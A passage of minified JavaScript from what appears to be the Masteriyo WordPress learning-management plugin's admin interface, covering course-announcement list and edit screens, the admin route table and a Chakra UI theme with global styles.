mt(HC.courseAnnouncement),y=(0,vt.Zp)(),v=(0,We.d)(),[f,h]=(0,a.useState)({order:"desc",orderby:"date"}),[b,w]=(0,a.useState)(),C=(0,s.jE)(),{onClose:x,onOpen:S,isOpen:B}=(0,Ue.j)(),[I,O]=(0,a.useState)("any"),[P,D]=(0,a.useState)(""),[_,k]=(0,a.useState)([]),[Q]=(0,xt.U)("(min-width: 360px)"),z=(0,Pn.I)(nx({queryKey:["announcementList",f],queryFn:()=>p.list(f)},{keepPreviousData:!0})),q=(0,wt.n)(nx({mutationFn:e=>p.delete(e,{force:!0,children:!0})},{onSuccess:e=>{Ce(C,["announcementList",{order:"desc",orderby:"date"}],null==e?void 0:e.id),C.invalidateQueries({queryKey:["announcementList"]}),x(),v({title:(0,E.__)("Announcement deleted successfully!","learning-management-system"),isClosable:!0,status:"success"})},onError:e=>{v({title:(null==e?void 0:e.message)||(0,E.__)("Something went wrong","learning-management-system"),status:"error",isClosable:!0})}})),F=(0,wt.n)(nx({mutationFn:e=>p.restore(e)},{onSuccess:()=>{v({title:(0,E.__)("Announcement Restored","learning-management-system"),isClosable:!0,status:"success"}),C.invalidateQueries({queryKey:["announcementList"]})},onError:e=>{v({title:(null==e?void 0:e.message)||(0,E.__)("Something went wrong","learning-management-system"),status:"error",isClosable:!0})}})),j=(0,wt.n)(nx({mutationFn:e=>p.delete(e)},{onSuccess:e=>{Ce(C,["announcementList",{order:"desc",orderby:"date"}],null==e?void 0:e.id),C.invalidateQueries({queryKey:["announcementList"]}),v({title:(0,E.__)("Announcement Trashed","learning-management-system"),isClosable:!0,status:"success"})},onError:e=>{v({title:(null==e?void 0:e.message)||(0,E.__)("Something went wrong","learning-management-system"),status:"error",isClosable:!0})}})),V=e=>{e&&j.mutate(e)},L=e=>{S(),D(""),w(e)},M=e=>{e&&F.mutate(e)},R=(e,t)=>h(ee(nx(nx({},f),{},{order:e,orderby:t}))),T={delete:(0,wt.n)(nx({mutationFn:e=>p.bulkDelete("delete",{ids:e,force:!0,children:!0})},{onSuccess(){C.invalidateQueries({queryKey:["announcementList"]}),x(),k([]),v({title:(0,E.__)("Announcements Deleted","learning-management-system"),isClosable:!0,status:"success"})},onError:e=>{v({title:(null==e?void 0:e.message)||(0,E.__)("Something went wrong","learning-management-system"),status:"error",isClosable:!0})}})),trash:(0,wt.n)(nx({mutationFn:e=>p.bulkDelete("delete",{ids:e})},{onSuccess(){C.invalidateQueries({queryKey:["announcementList"]}),x(),k([]),v({title:(0,E.__)("Announcements Trashed","learning-management-system"),isClosable:!0,status:"success"})},onError:e=>{v({title:(null==e?void 0:e.message)||(0,E.__)("Something went wrong","learning-management-system"),status:"error",isClosable:!0})}})),restore:(0,wt.n)(nx({mutationFn:e=>p.bulkRestore("restore",{ids:e})},{onSuccess(){C.invalidateQueries({queryKey:["announcementList"]}),x(),k([]),v({title:(0,E.__)("Announcements Restored","learning-management-system"),isClosable:!0,status:"success"})},onError:e=>{v({title:(null==e?void 0:e.message)||(0,E.__)("Something went wrong","learning-management-system"),status:"error",isClosable:!0})}}))};return l().createElement(d.B,{direction:"column",spacing:"8",alignItems:"center"},l().createElement(Vt,null,l().createElement(Lt,{display:"flex",flexWrap:"wrap",justifyContent:{base:"center",lg:"space-between"}},l().createElement(Wt,{gap:7},l().createElement(Ut,null),l().createElement(Yn,{tabs:ax,defaultActive:"any",onTabChange:e=>{O(e),h(ee(f,{status:e})),k([]),D("")},counts:null===(e=z.data)||void 0===e||null===(e=e.meta)||void 0===e?void 0:e.announcement_count,isCounting:z.isLoading})),l().createElement(Kt,{my:{base:2,lg:0}},l().createElement(Nt,{onClick:()=>y(Pt.courseAnnouncement.add),leftIcon:Q?l().createElement(Ln,{fill:"currentColor",width:"16px",height:"16px"}):void 0},(0,E.__)("Add New Announcement","learning-management-system"))))),l().createElement(De.m,{maxW:"container.xl"},l().createElement(Qe.a,{bg:"white",py:{base:6,md:12},shadow:"box",mx:"auto"},l().createElement(d.B,{direction:"column",spacing:"10"},l().createElement(ZC,{setFilterParams:h,filterParams:f}),l().createElement(d.B,{direction:"column",spacing:"8",mt:{base:"15px !important",sm:"15px !important",md:"2.5rem !important",lg:"2.5rem !important"}},l().createElement(_n.XI,null,z.isLoading||!z.isFetched?l().createElement(ex,null):z.isSuccess&&$(null==z||null===(t=z.data)||void 0===t?void 0:t.data)?l().createElement(Mn,{onPrimaryButtonClick:()=>{y(Pt.courseAnnouncement.add)},title:(0,E.__)("Create Your First Announcement","learning-management-system"),description:(0,E.__)("Start building your learning platform by creating your first course. Add lessons, quizzes, and materials to engage your students.","learning-management-system"),primaryButtonLabel:(0,E.__)("Add New Announcement","learning-management-system"),isResultFiltered:Boolean((null==f?void 0:f.search)||(null==f?void 0:f.course_id)||(null==f?void 0:f.author_id)||(null==f?void 0:f.status)&&"any"!==(null==f?void 0:f.status))}):l().createElement(l().Fragment,null,l().createElement(_n.d8,null,l().createElement(_n.Tr,null,l().createElement(_n.Th,null,l().createElement(On.S,{isDisabled:z.isLoading||z.isFetching||z.isRefetching,isIndeterminate:(null==z||null===(n=z.data)||void 0===n||null===(n=n.data)||void 0===n?void 0:n.length)!==(null==_?void 0:_.length)&&(null==_?void 0:_.length)>0,isChecked:(null==z||null===(r=z.data)||void 0===r||null===(r=r.data)||void 0===r?void 0:r.length)===_.length&&!$(null==z||null===(i=z.data)||void 0===i?void 0:i.data),onChange:e=>{var t;return k(e.target.checked?null==z||null===(t=z.data)||void 0===t||null===(t=t.data)||void 0===t?void 0:t.map((e=>{var t;return null==e||null===(t=e.id)||void 0===t?void 0:t.toString()})):[])}})),l().createElement(_n.Th,null,l().createElement(d.B,{direction:"row",alignItems:"center"},l().createElement(g.E,{fontSize:"xs"},(0,E.__)("Title","learning-management-system")),l().createElement(Sa,{filterParams:f,filterContentBy:R,orderBy:"title"}))),l().createElement(_n.Th,null,(0,E.__)("Author","learning-management-system")),l().createElement(_n.Th,null,(0,E.__)("Course","learning-management-system")),l().createElement(_n.Th,null,l().createElement(d.B,{direction:"row",alignItems:"center"},l().createElement(g.E,{fontSize:"xs"},(0,E.__)("Date","learning-management-system")),l().createElement(Sa,{filterParams:f,filterContentBy:R,orderBy:"date"}))),l().createElement(_n.Th,null,(0,E.__)("Actions","learning-management-system")))),l().createElement(_n.NN,null,null==z||null===(o=z.data)||void 0===o||null===(o=o.data)||void 0===o?void 0:o.map((e=>l().createElement(YC,{key:null==e?void 0:e.id,data:e,bulkIds:_,onDeletePress:L,onRestorePress:M,onTrashPress:V,setBulkIds:k,isLoading:z.isLoading||z.isFetching||z.isRefetching}))))))))),z.isSuccess&&!$(null==z||null===(m=z.data)||void 0===m?void 0:m.data)&&l().createElement(ba,{metaData:null==z||null===(c=z.data)||void 0===c?void 0:c.meta,setFilterParams:h,perPageText:(0,E.__)("Announcements Per Page:","learning-management-system"),extraFilterParams:{order:null==f?void 0:f.order,orderby:null==f?void 0:f.orderby,search:null==f?void 0:f.search,status:null==f?void 0:f.status}})),l().createElement(ta,{openToast:S,status:I,setBulkAction:D,bulkIds:_,setBulkIds:k,trashable:!0}),l().createElement(qn,{isOpen:B,onClose:x,confirmButtonColorScheme:"restore"===P?"primary":void 0,onConfirm:""===P?()=>{b&&q.mutate(b)}:()=>{T[P].mutate(_)},action:P,isLoading:""===P?q.isPending:null!==(u=null==T||null===(A=T[P])||void 0===A?void 0:A.isLoading)&&void 0!==u&&u,dialogTexts:{default:{header:(0,E.__)("Deleting announcement","learning-management-system"),body:(0,E.__)("Are you sure? You can’t restore after deleting.","learning-management-system"),confirm:(0,E.__)("Delete","learning-management-system")},trash:{header:(0,E.__)("Moving announcements to trash","learning-management-system"),body:(0,E.__)("Are you sure? The selected announcements will be moved to trash.","learning-management-system"),confirm:(0,E.__)("Move to Trash","learning-management-system")},delete:{header:(0,E.__)("Deleting Announcements","learning-management-system"),body:(0,E.__)("Are you sure? You can’t restore after deleting."),confirm:(0,E.__)("Delete","learning-management-system")},restore:{header:(0,E.__)("Restoring Announcements","learning-management-system"),body:(0,E.__)("Are you sure? The selected announcements will be restored from the trash.","learning-management-system"),confirm:(0,E.__)("Restore","learning-management-system")}}}))};function rx(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}var ix={mr:"10",py:"6",d:"flex",gap:1,justifyContent:"flex-start",alignItems:"center",fontWeight:"medium",fontSize:["xs",null,"sm"]};const ox=()=>{var e,t,n,{courseAnnouncementId:r}=(0,vt.g)(),i=(0,We.d)(),o=(0,s.jE)(),m=(0,Je.mN)(),c=(0,vt.Zp)(),u=new mt(HC.courseAnnouncement),[g]=(0,xt.U)("(min-width: 992px)"),A=(0,Jr.A)(["sm","md"]),y=(0,Pn.I)({queryKey:["announcement".concat(r),r],queryFn:()=>u.get(r,"edit")});(0,a.useEffect)((()=>{null!=y&&y.isError&&c(Pt.notFound)}),[null==y?void 0:y.isError,c]);var f=(0,wt.n)(function(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?rx(Object(n),!0).forEach((function(t){(0,F.A)(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):rx(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}({mutationFn:e=>u.update(r,e)},{onSuccess:e=>{xe(o,["announcementList",{order:"desc",orderby:"date"}],e),o.invalidateQueries({queryKey:["announcement".concat(r)]}),o.invalidateQueries({queryKey:["announcementList"]}),i({title:(0,E.__)("Announcement updated successfully.","learning-management-system"),isClosable:!0,status:"success"}),c(Pt.courseAnnouncement.list)},onError:e=>{var t,n=null!=e&&e.message?null==e?void 0:e.message:null==e||null===(t=e.data)||void 0===t?void 0:t.message;i({title:(0,E.__)("Failed to update the announcement.","learning-management-system"),description:n?"".concat(n):void 0,status:"error",isClosable:!0})}})),h=e=>{f.mutate(ne(e))};Ca(m.formState.isDirty),(0,a.useEffect)((()=>{null!=y&&y.isSuccess&&null!=y&&y.data&&m.reset(m.getValues())}),[null==y?void 0:y.data]);var b=()=>{var e;return l().createElement(Bt.e,null,l().createElement(WC,{isLoading:f.isPending,methods:m,onSubmit:h,announcementStatus:null==y||null===(e=y.data)||void 0===e?void 0:e.status}),l().createElement(p.$,{size:A,variant:"outline",isDisabled:f.isPending,onClick:()=>c({pathname:Pt.courseAnnouncement.list})},(0,E.__)("Cancel","learning-management-system")))};return l().createElement(d.B,{direction:"column",spacing:"8",alignItems:"center"},l().createElement(Vt,null,l().createElement(Wt,null,l().createElement(Ut,null),l().createElement(Fe.B8,{display:["none","flex","flex"],flexDirection:["column","row","row","row"]},l().createElement(Fe.ck,{mb:"0"},l().createElement(v.N_,{to:Pt.courseAnnouncement.add},l().createElement(p.$,{color:"gray.600",variant:"link",sx:ix,_active:on,rounded:"none",isActive:!0},(0,E.__)("Edit Announcement","learning-management-system"))))))),l().createElement(De.m,{maxW:"container.xl"},l().createElement(d.B,{direction:"column",spacing:"6"},l().createElement(Bt.e,null,l().createElement(v.N_,{to:Pt.courseAnnouncement.list},l().createElement(Dl,null))),y.isSuccess?l().createElement(Je.Op,m,l().createElement("form",{onSubmit:m.handleSubmit(h)},l().createElement(d.B,{direction:["column","column","column","row"],spacing:"8"},l().createElement(Qe.a,{flex:"1",bg:"white",p:"10",shadow:"box",display:"flex",flexDirection:"column",justifyContent:"space-between"},l().createElement(d.B,{direction:"column",spacing:"6"},l().createElement(GC,{defaultValue:null==y||null===(e=y.data)||void 0===e?void 0:e.title}),l().createElement(NC,{defaultValue:null==y||null===(t=y.data)||void 0===t?void 0:t.description}),g?l().createElement(b,null):null)),l().createElement(Qe.a,{w:{lg:"400px"},bg:"white",p:"10",shadow:"box"},l().createElement(d.B,{direction:"column",spacing:"6"},l().createElement(KC,{defaultData:null==y||null===(n=y.data)||void 0===n?void 0:n.course}),g?null:l().createElement(b,null)))))):l().createElement($C,null))))};var sx=e=>{var{slug:t,children:n}=e;return Em(t)?n:l().createElement(tm,null)};const mx=()=>l().createElement(v.I9,null,l().createElement(vt.BV,null,l().createElement(vt.qh,{element:l().createElement(Xb,null)},l().createElement(vt.qh,{path:Pt.about,element:l().createElement(bb,null)}),l().createElement(vt.qh,{path:Pt.addons,element:l().createElement(Rm,null)}),l().createElement(vt.qh,{path:Pt.help,element:l().createElement(qb,null)}),l().createElement(vt.qh,{path:Pt.freeVPro,element:l().createElement(Ob,null)}),l().createElement(vt.qh,{path:Pt.analytics,element:l().createElement(rc,null)}),l().createElement(vt.qh,{path:Pt.tools,element:l().createElement(_h,null)}),l().createElement(vt.qh,{path:Pt.settings,element:l().createElement(wf,null)}),l().createElement(vt.qh,{path:Pt.demos,element:l().createElement(rw,null)}),l().createElement(vt.qh,{path:Pt.home,element:l().createElement(gb,null)})),l().createElement(vt.qh,{path:Pt.orders.list,element:l().createElement(tv,null)}),l().createElement(vt.qh,{path:Pt.orders.add,element:l().createElement(lv,null)}),l().createElement(vt.qh,{path:Pt.orders.edit,element:l().createElement(gv,null)}),l().createElement(vt.qh,{path:Pt.courses.list,element:l().createElement(NE,null)}),l().createElement(vt.qh,{path:Pt.courses.add,element:l().createElement(Gd,null)}),l().createElement(vt.qh,{path:Pt.course_categories.list,element:l().createElement(Md,null)}),l().createElement(vt.qh,{path:Pt.course_categories.add,element:l().createElement(pd,null)}),l().createElement(vt.qh,{path:Pt.course_categories.edit,element:l().createElement(Wd,null)}),l().createElement(vt.qh,{path:Pt.course_difficulties.list,element:l().createElement(jb,null)}),l().createElement(vt.qh,{path:Pt.course_difficulties.edit,element:l().createElement(Wb,null)}),l().createElement(vt.qh,{path:Pt.quiz.add,element:l().createElement(vw,null)}),l().createElement(vt.qh,{path:Pt.quiz.edit,element:l().createElement(EC,null)}),l().createElement(vt.qh,{path:Pt.courses.edit,element:l().createElement(md,null)}),l().createElement(vt.qh,{path:Pt.lesson.add,element:l().createElement(Ky,null)}),l().createElement(vt.qh,{path:Pt.lesson.edit,element:l().createElement(Hy,null)}),l().createElement(vt.qh,{path:Pt.users.students.add,element:l().createElement(Hh,null)}),l().createElement(vt.qh,{path:Pt.users.students.list,element:l().createElement($h,null)}),l().createElement(vt.qh,{path:Pt.users.students.edit,element:l().createElement(nb,null)}),l().createElement(vt.qh,{path:Pt.users.instructors.add,element:l().createElement(zh,null)}),l().createElement(vt.qh,{path:Pt.users.instructors.list,element:l().createElement(Rh,null)}),l().createElement(vt.qh,{path:Pt.users.instructors.edit,element:l().createElement(Kh,null)}),l().createElement(vt.qh,{path:Pt.quiz_attempts.list,element:l().createElement(qv,null)}),l().createElement(vt.qh,{path:Pt.quiz_reviews.list,element:l().createElement(uw,null)}),l().createElement(vt.qh,{path:Pt.quiz_attempts.edit,element:l().createElement(Kv,null)}),l().createElement(vt.qh,{path:Pt.webhooks.add,element:l().createElement(LC,null)}),l().createElement(vt.qh,{path:Pt.webhooks.edit,element:l().createElement(UC,null)}),l().createElement(vt.qh,{path:Pt.webhooks.list,element:l().createElement(OC,null)}),l().createElement(vt.qh,{path:Pt.reviews.list,element:l().createElement(Xv,null)}),l().createElement(vt.qh,{path:Pt.reviews.edit,element:l().createElement(yf,null)}),l().createElement(vt.qh,{path:Pt.questionAnswers.list,element:l().createElement(Pv,null)}),l().createElement(vt.qh,{path:Pt.log,element:l().createElement(hC,null)}),Em("revenue-sharing")&&"yes"===R.can_manage_withdraws&&l().createElement(vt.qh,{path:Pt.withdraws,element:l().createElement(em,null)}),l().createElement(vt.qh,{path:Pt.courseAnnouncement.list,element:l().createElement(sx,{slug:"course-announcement"},l().createElement(lx,null))}),l().createElement(vt.qh,{path:Pt.courseAnnouncement.add,element:l().createElement(sx,{slug:"course-announcement"},l().createElement(XC,null))}),l().createElement(vt.qh,{path:Pt.courseAnnouncement.edit,element:l().createElement(sx,{slug:"course-announcement"},l().createElement(ox,null))}),l().createElement(vt.qh,{path:Pt.googleClassroom.list,element:l().createElement(sx,{slug:"google-classroom-integration"},l().createElement(lr,null))}),l().createElement(vt.qh,{path:Pt.googleClassroom.setting,element:l().createElement(sx,{slug:"google-classroom-integration"},l().createElement(yr,null))}),l().createElement(vt.qh,{path:vr.googleMeet.list,element:l().createElement(sx,{slug:"google-meet"},l().createElement(Fr,null))}),l().createElement(vt.qh,{path:vr.googleMeet.setAPI,element:l().createElement(sx,{slug:"google-meet"},l().createElement(Gr,null))}),l().createElement(vt.qh,{path:vr.googleMeet.edit,element:l().createElement(sx,{slug:"google-meet"},l().createElement(po,null))}),l().createElement(vt.qh,{path:vr.googleMeet.add,element:l().createElement(sx,{slug:"google-meet"},l().createElement(io,null))}),l().createElement(vt.qh,{path:vo.list,element:l().createElement(sx,{slug:"group-courses"},l().createElement(Oo,null))}),l().createElement(vt.qh,{path:vo.edit,element:l().createElement(sx,{slug:"group-courses"},l().createElement(Xo,null))}),l().createElement(vt.qh,{path:vo.settings,element:l().createElement(sx,{slug:"group-courses"},l().createElement(as,null))}),l().createElement(vt.qh,{path:is.list,element:l().createElement(sx,{slug:"multiple-currency"},l().createElement(Os,null))}),l().createElement(vt.qh,{path:is.add,element:l().createElement(sx,{slug:"multiple-currency"},l().createElement(Es,null))}),l().createElement(vt.qh,{path:is.edit,element:l().createElement(sx,{slug:"multiple-currency"},l().createElement(_s,null))}),l().createElement(vt.qh,{path:is.settings,element:l().createElement(sx,{slug:"multiple-currency"},l().createElement(Ls,null))}),l().createElement(vt.qh,{path:Sn.certificate.add,element:l().createElement(sx,{slug:"certificate"},l().createElement(In,null))}),l().createElement(vt.qh,{path:Sn.certificate.list,element:l().createElement(sx,{slug:"certificate"},l().createElement(Pl,null))}),l().createElement(vt.qh,{path:Sn.certificate.edit,element:l().createElement(sx,{slug:"certificate"},l().createElement(Kl,null))}),l().createElement(vt.qh,{path:"*",element:l().createElement(tm,null)})));function cx(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}function ux(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?cx(Object(n),!0).forEach((function(t){(0,F.A)(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):cx(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}var dx=(0,a.createContext)(void 0),gx=e=>{var{initial:t={},children:n}=e,r=(0,a.useRef)(t),[i,o]=(0,a.useState)(r.current),s=(0,a.useCallback)((e=>{o((t=>"function"==typeof e?e(t):e))}),[]),m=(0,a.useCallback)((e=>{o((t=>{var n="function"==typeof e?e(t):e;return ux(ux({},t),n)}))}),[]),c=(0,a.useCallback)((()=>o(r.current)),[]),u=(0,a.useMemo)((()=>({value:i,setValue:s,updateValue:m,resetValue:c})),[i,s,m,c]);return l().createElement(dx.Provider,{value:u},n)},Ax=n(53628);function px(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}function Ex(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?px(Object(n),!0).forEach((function(t){(0,F.A)(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):px(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}document.documentElement.dir;var yx={padding:"0px 16px",fontSize:"sm !important",fontWeight:"normal !important",borderRadius:"base !important",boxShadow:"none !important",color:"gray.600",borderColor:"gray.200",_placeholder:{color:"#737373",fontSize:"14px !important",fontStyle:"normal",fontWeight:400,lineHeight:"24px"},_hover:{borderColor:"gray.300 !important"},_focus:{borderColor:"primary.500 !important"}};const vx=(0,Ax.oY)({colors:{muted:"#F9FAFA",primary:{10:"#F5F9FF",50:"#FFFFFF",100:"#ecf3ff",200:"#DEE9FF",300:"#ABC7FF",400:"#78A6FF",500:"#4584FF",600:"#1262FF",700:"#004BDE",800:"#003AAB",900:"#002978"},tertiary:{500:"#EDF3FF",600:"#EDF2F7"},secondary:{500:"#FD739C"},button:{10:"#ecf3ff",50:"#FFFFFF",100:"#ecf3ff",200:"#DEE9FF",300:"#ABC7FF",400:"#78A6FF",500:"#4584FF",600:"#1262FF",700:"#004BDE",800:"#003AAB",900:"#002978"},green:{10:"#E4FFE9"},"muted-light":"rgba(249, 250, 250, 0.8)",orange:{10:"#e1995f"},"faint-gray":"#f9f9f9","soft-gray":"#fafafc","light-gray":"#f0f0f0","ash-gray":"#999999","dim-gray":"#909090",graphite:"#4E4E4E","light-blue":"#edeff7","saint-blue":"#424360","pale-gray":"#E9E9E9","dark-gray":"#222","charcoal-gray":"#383838","smoke-gray":"#6D6D6D4D","whisper-gray":"#6D6D6D1A","urban-ash":"#6D6D6D","icy-blue-gray":"#E2E8F0","cloud-gray":"#D2D2D2",brandBlueAlpha10:"#4584FF1A","oxford-night":"#07092F","off-white":"#F7F7F7","ghost-white":"#FCFCFC","frosted-sky":"#EDF3FF","frosted-sky-lighter":"#EDF2F7","cloud-tint":"#ECEEF7","coral-red":"#F25656","golden-amber":"#D2A100","masteriyo-onboard-bg":"#fafafa","onboard-color-lighter":"#718096","onboard-color-light":"#666","onboard-color-dark":"#1A202C","onboard-color-divider":"#E9E9E9","onboard-color-gray":"#F4F4F4"},fontSizes:{"onboard-xs":"14px","onboard-sm":"15px","onboard-md":"17px","onboard-semilarge":"20px","onboard-lg":"24px","onboard-xl":"26px","x-large":"28px",large:"22px"},fontWeights:{"onboard-regular":400,"onboard-medium":500,"onboard-semibold":600,"onboard-bold":700},styles:{global:{"#masteriyo, #masteriyo-onboarding, #masteriyo-account-page \t\t\t\t#masteriyo p, #masteriyo-onboarding, #masteriyo-account-page p, \t\t\t\t#masteriyo span, #masteriyo-onboarding, #masteriyo-account-page span, \t\t\t\t#masteriyo li, #masteriyo-onboarding,#masteriyo-account-page li, \t\t\t\t#masteriyo a, #masteriyo-onboarding, #masteriyo-account-page a, \t\t\t\t#masteriyo input, #masteriyo-onboarding,#masteriyo-account-page input, \t\t\t\t#masteriyo textarea, #masteriyo-onboarding, #masteriyo-account-page textarea, \t\t\t\t#masteriyo button, #masteriyo-onboarding, #masteriyo-account-page button, \t\t\t\t#masteriyo label, #masteriyo-onboarding, #masteriyo-account-page label, \t\t\t\t#masteriyo h1, #masteriyo-onboarding, #masteriyo-account-page h1, \t\t\t\t#masteriyo h2, #masteriyo-onboarding, #masteriyo-account-page h2, \t\t\t\t#masteriyo h3, #masteriyo-onboarding, #masteriyo-account-page h3, \t\t\t\t#masteriyo h4, #masteriyo-onboarding, #masteriyo-account-page h4, \t\t\t\t#masteriyo h5, #masteriyo-onboarding, #masteriyo-account-page h5, \t\t\t\t#masteriyo h6, #masteriyo-onboarding, #masteriyo-account-page h6":{fontFamily:"'Inter', sans-serif"},".chakra-modal__content-container":{zIndex:"9999 !important"},".onboard-step-separator":{background:"gray.200 !important",width:"80px !important"},".toplevel_page_masteriyo":{bg:"gray.50",".masteriyo-onboarding-notice-link":{textDecoration:"underline",color:"primary.500",cursor:"pointer"}},"#masteriyo-interactive-course":{".masteriyo-player":{"iframe.vds-youtube[data-no-controls]":{height:"100% !important"}},"img.emoji":{display:"inline-block",width:"16px !important",height:"16px !important","vertical-align":"-0.1em","margin-right":"2px","margin-left":"2px"}},".chakra-popover__popper":{zIndex:"999 !important"},".react-datepicker-wrapper.chakra-datepicker-wrapper, .react-datepicker__input-container, .react-datepicker-wrapper":{display:"block !important",width:"100% !important",maxWidth:"100% !important",boxSizing:"border-box !important",minWidth:"0 !important"},".react-datepicker-wrapper.chakra-datepicker-wrapper input, .react-datepicker__input-container input":{display:"block !important",width:"100% !important",maxWidth:"100% !important",boxSizing:"border-box !important",minWidth:"0 !important"},".react-datepicker__input-container--open, .react-datepicker__input-container:focus-within":{display:"block !important",width:"100% !important"},".react-datepicker__input-container--open input, .react-datepicker__input-container:focus-within input":{width:"100% !important",boxSizing:"border-box !important"},".wp-admin #masteriyo":{ms:"-20px"},".admin-bar":{" .masteriyo-interactive-header":{top:"32px !important"}},".quiz-chakra-td":{paddingTop:"0 !important",paddingBottom:"0 !important"},".noscroll":{"&::-webkit-scrollbar":{display:"none"},scrollbarWidth:"none",scrollbarColor:"transparent transparent",msOverflowStyle:"none"},".custom-scrollbar":{"&::-webkit-scrollbar":{width:"12px"},"&::-webkit-scrollbar-track":{background:"#e0e0e0",borderRadius:"10px"},"&::-webkit-scrollbar-thumb":{background:"#b0b0b0",borderRadius:"10px",border:"3px solid #e0e0e0",transition:"background-color 0.3s, border-color 0.3s"},"&::-webkit-scrollbar-thumb:hover":{background:"#888",borderColor:"#ccc"},scrollbarWidth:"thin",scrollbarColor:"#b0b0b0 #e0e0e0","&::-moz-scrollbar":{width:"12px"},"&::-moz-scrollbar-track":{background:"#e0e0e0",borderRadius:"10px"},"&::-moz-scrollbar-thumb":{background:"#b0b0b0",borderRadius:"10px",border:"3px solid #e0e0e0"},"&::-moz-scrollbar-thumb:hover":{background:"#888",borderColor:"#ccc"},"-ms-overflow-style":"-ms-autohiding-scrollbar"},"#masteriyo, #masteriyo-onboarding, #masteriyo-interactive-course, #masteriyo-account-page, .masteriyo-alert-content, #chakra-modal-qnaDrawer, #chakra-modal-masteriyo-interactive-page-portal":{'input[type="color"], input[type="date"], input[type="datetime-local"], input[type="datetime"], input[type="email"], input[type="month"], input[type="number"], input[type="password"], input[type="search"], input[type="tel"], input[type="text"], input[type="time"], input[type="url"], input[type="week"], textarea, #rfs-btn, .react-datepicker-wrapper input, .react-datepicker__input-container input, .react-datepicker__input':Ex({},yx),".chakra-checkbox__label":{fontSize:"13px !important"},".chakra-select":Ex(Ex({},yx),{},{maxWidth:"full",color:"inherit",bg:"white"}),textarea:{paddingTop:"12px !important",paddingBottom:"12px !important"},ul:{li:{mb:0}},".chakra-tabs__tab[aria-selected=true]":{color:"primary.600"},".chakra-switch__track[data-checked],.chakra-radio__control[data-checked]":{bg:"primary.500"},".chakra-slider__filled-track,.css-1jrtelv":{bg:"primary.500"},".ProseMirror, .masteriyo-interactive-description":{"h1, h2, h3, h4, h5, h6":{lineHeight:"1.1",fontWeight:"700"},h1:{fontSize:"28px",my:"0.67em"},h2:{fontSize:"24px",my:"0.75em"},h3:{fontSize:"20px",my:"0.83em"},h4:{fontSize:"18px",my:"1.12em"},h5:{fontSize:"16px",my:"1.5em"},h6:{fontSize:"14px",my:"1.67em"},p:{mb:"1rem"},a:{textDecoration:"underline",color:"primary.500",cursor:"pointer"},blockquote:{ps:"1rem",borderStart:"2px solid rgba(13,13,13,.1)"},code:{bg:"gray.100",color:"gray.600",p:".1rem .3rem",borderRadius:"4px"},"ul, ol":{padding:"0 0.75rem"},ul:{listStyleType:"disc"},ol:{ps:"1.2rem"},pre:{background:"#0D0D0D",color:"#FFF",fontFamily:"JetBrainsMono, monospace",padding:"0.75rem 1rem",borderRadius:"0.5rem",code:{color:"inherit",padding:"0",background:"none",fontSize:"0.8rem"},".hljs-comment,.hljs-quote":{color:"gray.600"},".hljs-variable,.hljs-template-variable,.hljs-attribute,.hljs-tag,.hljs-name,.hljs-regexp,.hljs-link,.hljs-name,.hljs-selector-id,.hljs-selector-class":{color:"#F98181"},".hljs-number,.hljs-meta,.hljs-built_in,.hljs-builtin-name,.hljs-literal,.hljs-type,.hljs-params":{color:"#FBBC88"},".hljs-string,.hljs-symbol,.hljs-bullet":{color:"#B9F18D"},".hljs-title,.hljs-section":{color:"#FAF594"},".hljs-keyword,.hljs-selector-tag":{color:"#70CFF8"},".hljs-emphasis":{fontStyle:"italic"},".hljs-strong":{fontWeight:"700"}},".aligncenter":{clear:"both",textAlign:"center",marginLeft:"auto",marginRight:"auto"},".alignleft":{display:"inline",float:"left",marginRight:"1.5em"},".alignright":{display:"inline",float:"right",marginLeft:"1.5em"}},".responsiveTable":{width:"100%",th:{pb:"6",borderBottom:"none",textTransform:"uppercase",fontSize:"xs",textAlign:"left"},"tr:nth-of-type(2n+1) td":{bg:"#f8f9fa"},tr:{"th, td":{":first-of-type":{ps:"12"},":last-child":{pe:"12",textAlign:"right"}}},td:{py:"3",borderBottom:"none"}},".recent-reviews-analytics, .popular-courses-analytics, .new-students-analytics, .new-instructors-analytics":{fontSize:"16px"},".masteriyo-pagination-select":{padding:"0px 5px !important"},".responsiveTable td .tdBefore":{display:"none"},"@media screen and (max-width: 40em)":{".responsiveTable table":{display:"block"},".responsiveTable thead":{display:"block"},".responsiveTable tbody":{display:"block"},".responsiveTable th":{display:"block"},".responsiveTable td":{display:"block"},".responsiveTable tr":{display:"block"},".customTd tdBefore":{display:"none !important"},".responsiveTable thead tr":{position:"absolute",top:"-9999px",insetStart:"-9999px",borderBottom:"2px solid #333"},".responsiveTable td.pivoted":{border:"none !important",position:"relative",paddingInlineStart:"calc(50% + 10px) !important",textAlign:"start !important",whiteSpace:"pre-wrap",overflowWrap:"break-word",pe:"6"},".responsiveTable td .tdBefore":{position:"absolute",display:"block",insetStart:"6",width:"calc(50% - 20px)",whiteSpace:"pre-wrap",overflowWrap:"break-word",textAlign:"start !important",fontWeight:"600",fontSize:"sm"}},".react-datepicker-popper":{zIndex:"9996 